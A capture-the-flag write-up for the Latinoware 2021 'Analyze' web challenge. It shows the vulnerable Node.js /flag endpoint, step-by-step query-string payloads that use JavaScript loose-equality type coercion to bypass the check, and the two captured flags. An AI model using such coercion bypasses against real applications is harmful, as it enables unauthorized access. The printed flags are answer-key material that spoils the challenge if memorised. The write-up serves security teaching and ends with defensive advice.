This post walks through the solution of a web challenge from Latinoware 2021,
focusing on code review, type coercion, and logic flaws in Node.js applications.
Context
The 18th Latin American Conference on Free Software and Open Technologies (Latinoware) took place between October 13 and 15, 2021.
Alongside technical talks, the event hosted a Capture The Flag (CTF) with challenges covering web security, cryptography, and reverse engineering.
This write-up focuses on the Analyze web challenge.
Challenge Overview
The Analyze challenge is a web problem centered around code review.
Participants are given access to the full source code of a Node.js application and must identify logic flaws to retrieve the flag.
Available Endpoints
From the challenge interface, the following endpoints are exposed:
/– Main page (static content)/code– Returns the full source code of the application/flag– Endpoint responsible for flag validation
Initial Analysis
Before diving into the code, we can already infer a few things:
- The flag is retrieved via the
/flagendpoint - Two query parameters are required
- User input is parsed as JSON
- Validation logic is custom and non-trivial
These observations strongly suggest a logic flaw or type confusion scenario.
Relevant Code
The critical logic lives inside the /flag endpoint:
app.get('/flag', (req, res) => {
if(req.query['xXxXxXx'] === undefined || req.query['yYyYyYy'] === undefined){
return res.send('something wrong is not right with your analysis.')
}
var xXxxXx = req.query['xXxXxXx'].trim().substring(0,14)
var yYyyYy = req.query['yYyYyYy'].trim().substring(0,14)
if(xXxxXx.length !== yYyyYy.length || xXxxXx === yYyyYy){
return res.send('something wrong is not right with your analysis.')
}
const oBjObJx = JSON.parse(xXxxXx)
const oBjObJy = JSON.parse(yYyyYy)
if(oBjObJx['xXxxXx'] == oBjObJy['yYyYy']){
return res.send(ANaLYzEANaLYzE)
} else {
return res.send('something wrong is not right with your analysis.')
}
});
Understanding the Logic Flaw
The endpoint enforces several conditions:
- Both parameters must exist
- Both parameters must have the same length
- The raw strings must not be equal
- Parsed JSON values are compared using
==
Key observation:
Using==enables JavaScript type coercion, which can be abused when comparing user-controlled input.
Exploit Strategy
To retrieve the flag, all validation conditions must be satisfied simultaneously.
Payload Construction
A naive payload fails due to length mismatch:
/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":1}
By compensating string length:
/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":10}
Finally, abusing JavaScript type coercion:
/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}
This payload successfully returns the flag:
LW2021{m3m3_5ucc3s5fully_an4lyz3d}
Bonus Challenge: m0r3m3m35
A second version introduces an additional validation check, but the same payload remains effective.
/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}
Returning:
LW2021{wr0ng_m3m3_an4lyz3d}
Takeaways
- Avoid loose comparisons (
==) with user-controlled input - Always validate both type and structure when parsing JSON
- Logic flaws can be as dangerous as injection vulnerabilities
- Code review challenges often hide critical issues in plain sight